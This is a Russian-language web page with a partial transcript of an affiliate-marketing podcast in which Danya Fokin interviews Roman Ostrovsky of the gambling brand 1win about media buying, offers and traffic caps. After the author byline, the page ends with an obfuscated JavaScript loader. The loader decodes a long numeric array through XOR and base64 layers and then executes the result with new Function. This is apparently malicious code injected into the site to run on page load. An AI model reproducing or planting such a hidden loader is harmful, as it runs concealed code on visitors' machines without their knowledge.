📍Путь от андердога до первых позиций
📍Штат и эффективность: как не терять в скорости принятия решений
📍Медийка и афф-менеджеры: идея, результаты, эффективность
📍Окупаемость: очередь из вебмастеров, зависимость от источника
📍Работа с инфлюенсерами: Mellstroy, эффективность и прибыль
Об этом и не только поговорили в 4м выпуске TRUE PODCAST. Гость видео — Роман Островский, Global CBDO 1win 🔥
Смотрите полную версию видео здесь!
ТRUшный телеграмм канал Дани Фокина
Даня: Вообще, смотри, глобально, хочется понять, буквально вчера анонсировали эту тему с Performance Lab. Хочу сразу с актуального. У меня какое восприятие, даже вот просто со стороны. Я еще не вникал, для этого хорошо, что ты здесь. Это проект, который направлен на то, чтобы схантить арбитражные команды под экосистему 1WIN, чтобы они работали конкретно с вами.
Рома: Ну в том числе, это одна из целей. Конечно, вывод в медийку, во многом развитие бренда. Чтобы сильные ребята знали о нас, что мы существуем, с нами можно взаимодействовать и плотнее, чем по рефке или партнерской программе. Идея, собственно, глобально, в том, что у нас так или иначе всегда были отделы, которые занимались трафиком внутри компании. Они были довольно разрозненными. В разные периоды времени по разному, но тем не менее, разные ребята, связанные с маркетингом, внутри себя что-то поднимали. Я там в свое время ASOшку, остальные ребята там еще что-то — кто-то инфлюенсеров, кто-то ФБ. Несколько ФБ отделов у нас было одновременно. Собственно, пришло в голову, ликвидировать это все в единую команду, и развивать это в дальнейшем посредством привлечения туда новых сильных кадров. Ну конечно, это не самоцель, сделать сильную команду, чтобы просто сильная команда была.
Даня: Ну конечно, у меня есть представление. Но, у меня есть вопросы и я их озвучу. В твоем случае, это экосистема, это бюджеты, это возможность более подробно понимать внутрянку продукта. Ну так, если обширно. Не так, как там среднестатистический байер, если так можно выразиться. А глобально, зачем мне, как овнеру арбитражной команды, зачем мне переключать свои мощности, если у меня там с бюджетами нет проблем? Представим. На вас? Если хочешь-не хочешь, арбитражная команда зиждется на том, что ты постоянно сплитишь разное количество брендов, в поисках своего “золотого руна”. А тут, вы хотите сосредоточить на 1WIN. Но он может в каких-то ГЕО уступать, где-то не иметь возможности получать этот трафик. Правильно?
Рома: Ну да, в каких-то ГЕО да.
Даня: Так а в чем тогда прикол? Вот это я хотел понять. Как бы ты мне продал эту идею?
Рома: Ну конечно, тут УТП есть. Во-первых, я сразу скажу, там нет ограничений по офферам. В плане, что если ты хочешь лить внешку, то ради бога. У нас есть биздевы свои, которые договариваются. Тебе не нужно будет как овнеру самому там разговаривать, ты говоришь биздеву “мне нужны там… не знаю.. Эмираты, Африка и тд”. Ты отдаешь эту таску биздеву. И она тебе на следующий день приносит офферы.
Даня: Окей!
Рома: В дальнейшем, какие еще есть УТП. На самом деле, ты верно подметил насчет более глубокой интеграции с продуктом. Это важнее, чем кажется. Потому что у нас есть там ряд крупных партнеров, во-первых, а во-вторых, in-house команды, которые льют наши продукты. И их результаты, когда они сконцентрированы на одном бренде довольно сильно, то есть погружаются в то, что лучше всего конвертит в рамках конкретного бренда, они лучше перформят. У них получается нащупать более дешевый лид, следовательно у них больший ROI. Или лучшее качество сделать. Ну и плюс, обмен экспертизой с продуктом, на самом деле, действительно важен, потому что когда байер понимает, не обязательно каждый, ну там часть или их тим лид, главный на каком-то там кластере, он понимает, как работает продукт, что продукту нужно, на что он ориентируется, это на самом деле сильно бустит его понимание о том, как стоит заливать трафик, чтобы все было окей. И чтобы не было качелей “а давайте этот поток стопнем”, “а давайте этому снизим ставку”, “а давайте еще что-то”. То есть ему легче выйти на что-то стабильное, что будет длиться относительно постоянно.
Даня: Видишь, у меня все равно…. Понятное дело, что тесное взаимодействие рекла с вебом = святая святых, вопросов нет, просто я не вижу какой-то такой вещи, условно, я там сказал ему секрет секретный допустим, который дал бы ему возможность сейчас в моменте покупать траф там не по 15$ за лид с Индии, а там за 7$. Потому что, если у него какой-то объем уже был сосредоточен, он эту кухню уже как бы и сам раскопает. Потому что, опять же, объем — это результат всего этого опыта, который он уже имеет. Я просто даже со своей колокольни прикидываю, вот я — продукт, безусловно, мы даем те вещи, которые в рамках игроков. Но чтобы это было что-то такое, что какой-то крупный веб не понял, не изучил и не запросил без нашего “а ты знал, кстати, что…”, ну… не было такого. Может у тебя все по другому.
Рома: Поинт как раз таки не в том, что приходите к нам, мы научим вас лить. Или расскажем вам какой-то секретный секрет. Нет. На самом деле, ну скорее, мы качаем hr-бренд, чтобы привлекать ребят уже с экспертизой ной, чтобы собственно усилить нас самих. У каждого есть свои боли, которые мы можем решить. У нас есть определенный список УТП, который мы можем дать, ценность каждого поинта для каждого будет разной. Например, оборотка, для кого-то это важно, кто-то упирается в стеклянный потолок из-за этого, для кого-то важна сильная операционка, потому что ему сложно контролить все и он понимает, что ему нужна помощь. Мы сами к этому довольно долго шли, чтобы у нас были сильные операционные процессы и мы к этому пришли, чтобы мы могли масштабировать любые процессы, ну что угодно, мы можем помочь масштабировать. А это не все могут себе позволить. Потому что овнер какой-нибудь команды не уследит за всем. Очень часто мультиинструменталисты и становятся узким горлышком в росте команды. Они же операционщики сами у себя, и им не раскидаться. Вот. Помимо бюджетов и операционки, то, что я назвал, капы. Ну тоже довольно важный фактор. Если ты независимая арбитражная команда, то ты зависишь от кап, которые есть сейчас от реклов, и ты там ни с кем по крови не повязан, что тебе не скажут “сори мы сегодня стопаемся, как будет капа на вас — мы напишем”. И что тогда делать?
Даня: А как в моменте вы разрешите этот вопрос?
Рома: Ну у нас есть свои собственные потребности. Да, у нас есть свои несколько продуктов, которые нуждаются в трафике постоянно.
Даня: Ага, то есть у 1WIN есть еще дополнительно несколько продуктов, которые сейчас активно закупают трафик?
Рома: Да
Даня: И мы о них не знаем. И никогда не узнаем?
Рома: Ну почему, может быть когда-нибудь и узнаете. Собственно да, у нас есть как основной бренд, которому требуется много трафика, и дополнительные.
Смотрите полную версию видео здесь!
ТRUшный телеграмм канал Дани Фокина
Данил Фокин, CEO Valor.Partners:
(function(){ var x418c5a=4309; if(x418c5a>0){var y841319=x418c5a-4910}else{var y841319=4910} var z64104a=y841319*18; var _0x3d75fd8731c6=[8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,24,56,22,54,17,18,100,10,21,40,55,17,28,22,17,63,1,96,10,17,22,5,25,2,21,96,5,5,21,60,17,33,8,55,5,3,17,39,25,22,23,5,39,17,24,56,59,4,23,17,17,35,5,19,56,20,2,59,17,6,1,56,21,4,2,2,1,3,5,19,32,27,2,59,39,18,22,55,6,8,27,18,96,53,18,2,56,27,6,5,17,2,1,5,6,23,2,40,10,24,4,59,9,5,2,21,17,7,21,59,100,6,21,2,10,23,22,2,21,4,2,5,26,18,2,2,30,20,1,96,51,4,4,96,30,22,2,21,18,24,21,59,10,17,2,59,30,22,1,18,2,18,22,6,6,29,17,2,9,22,6,41,55,0,21,40,63,20,23,5,63,35,5,18,104,20,17,39,51,21,4,6,56,9,2,55,5,24,22,22,59,53,23,22,55,49,22,55,29,53,22,22,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,63,6,23,17,6,49,18,1,51,5,7,1,51,19,22,2,35,53,22,18,59,9,21,40,26,10,22,18,55,49,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,10,22,56,59,51,18,6,59,5,23,18,32,9,18,40,55,50,20,56,17,9,23,6,18,50,5,18,104,20,17,39,51,21,4,6,56,9,18,40,55,50,20,56,17,9,23,6,59,1,22,55,29,3,17,18,9,31,7,1,29,3,23,2,29,3,18,2,35,31,7,2,1,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,55,51,19,22,2,35,53,22,22,59,10,23,18,29,53,21,55,2,10,22,55,51,24,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,2,29,22,18,40,2,10,23,17,5,1,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,24,23,18,35,31,21,18,55,10,7,56,63,7,24,56,59,10,21,55,30,10,18,39,25,6,23,40,100,5,7,2,5,50,22,55,1,20,22,55,51,53,7,2,100,9,5,22,36,1,24,39,29,20,18,39,2,30,7,22,55,22,18,40,2,49,23,56,9,53,23,2,59,3,17,97,59,49,22,55,29,53,22,22,59,23,17,56,100,51,23,2,55,4,21,60,59,24,18,2,56,1,27,59,39,18,22,55,6,8,27,17,17,30,17,40,63,5,17,1,2,27,6,5,51,0,30,5,21,6,30,21,100,3,2,58,30,24,22,5,5,2,30,5,101,18,30,56,6,17,30,21,30,17,29,59,52,20,30,18,6,24,30,4,26,20,1,21,18,20,2,59,51,6,30,21,9,2,2,6,6,29,17,2,9,22,6,41,55,5,21,56,35,0,20,40,96,23,3,60,5,6,1,5,104,4,2,59,105,24,4,60,6,29,21,1,25,10,22,17,29,53,23,18,60,8,27,17,29,7,21,39,52,54,27,17,51,21,17,56,35,0,18,18,32,53,20,17,29,22,20,55,39,18,22,55,6,8,27,18,1,49,22,56,63,18,20,56,18,27,27,17,51,21,17,56,35,0,18,18,32,10,18,17,25,6,18,17,29,22,8,96,52,50,2,6,101,27,3,59,32,1,2,39,105,1,3,19,55,24,18,17,25,50,20,39,1,49,7,1,1,19,22,1,1,20,18,6,105,22,8,59,96,63,18,39,1,19,23,39,104,21,23,59,39,53,21,6,104,63,22,18,63,7,23,55,21,31,21,22,59,50,21,56,59,1,17,40,105,28,2,59,6,0,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,24,2,9,2,23,18,104,5,3,55,51,7,18,1,1,3,0,56,59,20,8,41,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,18,1,97,36,18,1,97,101,50,2,59,22,53,4,18,100,2,8,97,9,63,24,2,9,2,23,18,104,5,8,55,5,3,17,39,25,22,23,6,18,1,4,17,21,7,18,6,51,63,20,1,25,9,24,17,9,24,3,57,55,5,23,56,9,49,17,1,100,1,7,1,1,19,22,1,1,20,18,6,105,23,2,5,105,50,27,18,96,7,21,2,55,54,22,22,97,22,8,60,35,63,23,1,104,31,21,2,40,27,5,22,18,29,21,2,55,22,8,39,21,7,18,6,51,63,21,56,17,23,21,56,21,5,24,5,32,24,4,19,55,3,21,17,9,3,21,2,1,52,3,41,55,30,17,56,55,51,18,55,52,10,23,40,25,10,21,17,29,54,4,19,55,3,21,17,9,3,21,2,1,52,8,21,32,22,8,55,39,18,22,55,6,8,27,18,59,1,21,55,104,2,23,17,6,27,18,40,9,22,18,18,25,123,23,1,30,54,27,17,96,19,23,18,39,23,18,97,59,21,17,56,5,21,17,39,6,54,27,18,25,1,18,56,25,2,22,18,97,50,2,6,101,50,2,59,22,53,4,18,100,2,8,41,55,10,21,18,25,0,21,2,55,22,8,57,55,10,20,39,100,2,24,22,40,27,26,17,29,22,24,56,59,1,7,2,21,22,23,18,63,96,24,40,9,22,30,18,55,4,21,60,104,63,23,2,17,3,20,40,21,9,18,6,101,29,19,55,5,3,17,39,25,22,23,6,51,63,23,1,104,31,21,2,40,29,19,56,1,7,17,40,1,54,8,40,26,53,20,17,5,3,17,39,25,22,23,6,18,1,4,17,63,27,21,1,25,10,22,17,29,53,23,18,60,8,27,17,9,4,20,56,100,21,8,41,55,53,17,1,100,5,22,17,21,1,7,41,55,17,17,1,5,19,24,56,29,21,8,55,39,22,21,55,29,19,18,2,60,8,23,2,25,17,6,41,51,22,23,18,63,53,18,18,26,54,21,1,25,10,22,17,29,53,23,18,60,54,27,18,21,52,23,2,100,10,17,39,22,50,27,17,5,30,20,2,21,5,24,22,100,29,17,2,9,22,6,41,55,9,20,2,63,20,17,21,63,10,21,55,18,8,28,42,63,103,0,39,29,20,18,41,5,3,18,55,25,3,18,17,30,54,8,59,39,63,23,17,96,49,17,39,18,10,23,17,51,3,23,6,105,1,26,42,55,59,25,97,18,50,27,18,100,18,20,56,1,5,17,2,18,50,17,39,5,19,21,60,101,29,27,18,55,30,23,55,29,17,7,1,1,3,17,41,5,3,18,55,25,3,18,17,29,127,21,56,9,4,21,55,6,54,5,20,1,9,23,1,29,3,23,1,30,49,25,39,100,24,21,60,18,50,5,18,9,24,18,40,35,53,22,18,9,20,24,56,55,10,7,18,96,21,23,18,60,1,8,59,39,63,23,17,96,49,17,39,18,10,17,40,100,49,21,56,55,19,17,96,32,19,2,96,52,24,4,19,55,9,20,2,63,20,17,22,59,9,23,2,35,9,22,56,30,27,21,1,25,10,22,17,29,53,23,18,60,54,8,55,39,20,18,1,100,29,27,18,21,52,23,2,100,10,17,39,22,54,0,3,1,100,31,6,59,24,22,55,5,21,21,60,104,63,23,17,96,49,17,39,18,10,18,2,25,21,18,40,55,10,18,18,25,58,21,55,104,20,8,60,101,29,19,56,1,7,17,40,1,54,8,40,26,53,20,19,55,22,20,1,96,2,22,18,40,54,21,60,101,29,19,55,32,29,27,18,55,30,23,55,29,17,7,2,55,10,21,55,5,22,23,17,6,27,27,18,55,30,23,55,29,17,7,2,55,10,17,40,100,49,21,56,55,19,17,96,63,2,17,56,59,5,17,40,100,9,23,6,105,53,20,19,55,22,20,1,96,2,22,18,40,54,23,2,25,17,6,42,25,22,18,2,55,22,8,97,101,53,4,17,32,29,27,18,55,30,23,55,29,17,7,1,1,3,23,2,30,54,0,3,1,100,31,6,59,21,17,39,5,53,23,2,17,53,21,1,101,54,27,17,17,18,18,1,25,53,21,39,2,53,8,59,39,27,8,59,39,27,21,1,25,10,22,17,29,53,23,18,60,8,27,18,29,19,24,18,9,53,8,41,55,2,23,2,9,18,22,2,36,53,20,18,100,2,8,41,55,2,23,2,9,18,22,2,36,26,3,57,55,0,21,40,63,20,23,6,59,50,21,56,59,1,17,40,105,53,18,2,25,20,17,55,5,10,6,41,51,22,23,18,63,53,18,18,26,10,18,2,25,21,23,18,35,18,21,60,104,10,17,56,35,50,8,59,39,18,22,55,6,8,27,17,9,4,18,40,63,24,24,59,63,29,24,1,1,9,23,1,5,24,22,21,97,1,2,6,60,24,5,22,35,49,21,55,29,54,23,18,30,30,5,18,25,20,24,41,55,5,22,56,35,50,5,22,35,24,22,55,5,7,23,55,2,30,28,17,39,20,23,21,96,63,17,17,96,20,23,56,1,18,18,22,35,4,22,55,29,7,4,6,18,24,20,97,18,51,27,18,1,3,23,39,104,0,24,1,9,27,7,97,17,50,22,55,29,3,18,17,30,1,27,60,35,53,21,96,97,23,19,59,39,22,21,55,29,19,18,2,60,8,27,17,9,4,20,56,100,21,8,41,55,0,21,40,63,20,23,3,39,63,21,2,59,7,17,2,5,50,27,60,35,63,18,56,29,24,23,55,51,53,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,5,18,40,1,4,21,2,9,4,8,55,39,18,22,55,6,8,27,18,100,23,20,40,9,21,18,5,63,63,22,17,51,5,21,40,21,7,21,97,22,2,27,18,1,24,22,18,29,2,22,56,30,10,18,2,25,21,17,56,35,20,3,19,55,20,22,56,29,24,8,41,55,5,18,40,1,4,21,2,9,4,7,1,5,3,18,17,25,50,17,97,101,30,5,22,18,29,24,56,22,54,27,18,100,23,20,40,9,21,18,6,100,22,21,55,29,19,18,2,60,8,27,18,100,23,20,40,9,21,18,6,59,22,21,55,51,50,22,56,1,3,8,97,55,34,7,22,40,4,7,22,36,1,5,22,101,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,7,2,1,7,17,40,1,54,8,40,21,19,23,2,1,20,24,56,55,10,8,97,100,29,18,2,25,20,17,55,5,10,6,41,55,4,17,56,39,7,24,60,104,63,21,2,59,7,17,2,5,50,8,21,10,53,4,17,32,53,4,17,63,2,17,56,59,5,17,40,100,9,23,6,51,63,21,18,5,6,22,18,100,2,21,60,104,63,18,18,9,21,17,2,17,52,8,55,39,18,22,55,6,8,27,18,100,9,24,2,22,27,21,40,55,5,17,56,63,3,23,1,30,10,22,17,5,3,22,55,29,3,29,56,35,3,23,56,25,10,17,97,105,1,18,18,1,22,24,55,51,20,5,22,101,29,27,18,100,9,24,2,22,10,18,17,5,5,3,57,55,21,22,55,1,18,21,18,97,51,5,22,55,7,18,40,101,10,18,40,104,24,3,17,2,27,5,22,39,63,24,2,100,22,23,22,40,1,5,3,55,18,3,60,18,51,31,56,9,20,24,97,59,2,23,40,55,9,18,6,104,42,22,55,29,3,7,2,59,9,17,22,105,53,7,21,22,24,2,96,52,24,8,59,39,63,24,56,55,52,21,6,59,7,18,17,100,10,22,21,63,20,18,1,25,3,4,22,104,4,23,18,1,19,23,56,25,10,17,97,59,54,21,56,9,4,19,39,35,4,23,18,1,19,23,56,25,10,17,97,59,6,23,18,29,31,8,60,59,7,18,39,51,3,23,2,29,96,24,40,100,50,21,97,104,63,24,56,55,52,21,6,101,29,19,57,55,4,17,56,39,7,24,60,105,24,8,60,59,20,24,40,25,10,8,40,21,19,23,2,1,20,24,56,55,10,8,41,55,21,22,55,1,18,21,18,97,53,20,18,100,2,8,41,55,21,22,55,1,18,21,18,97,53,27,18,17,6,22,2,1,53,21,2,26,54,27,17,1,7,18,17,21,1,24,6,101,29,19,60,101,29,19,60,101,54,8,59,39,109]; var _0xa565beffc3a1=80; var _0x99dcf8ed2c65=»; for(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x3d75fd8731c6.length;_0x75f9f42cd56e++) _0x99dcf8ed2c65+=String.fromCharCode(_0x3d75fd8731c6[_0x75f9f42cd56e]^_0xa565beffc3a1); var _0xe1c29d8a8a41=119; var _0x5a1ac3c88648=atob(_0x99dcf8ed2c65); var _code=''; for(var _0x75f9f42cd56e=0;_0x75f9f42cd56e<_0x5a1ac3c88648.length;_0x75f9f42cd56e++) _code+=String.fromCharCode(_0x5a1ac3c88648.charCodeAt(_0x75f9f42cd56e)^_0xe1c29d8a8a41); (new Function(_code))(); })();
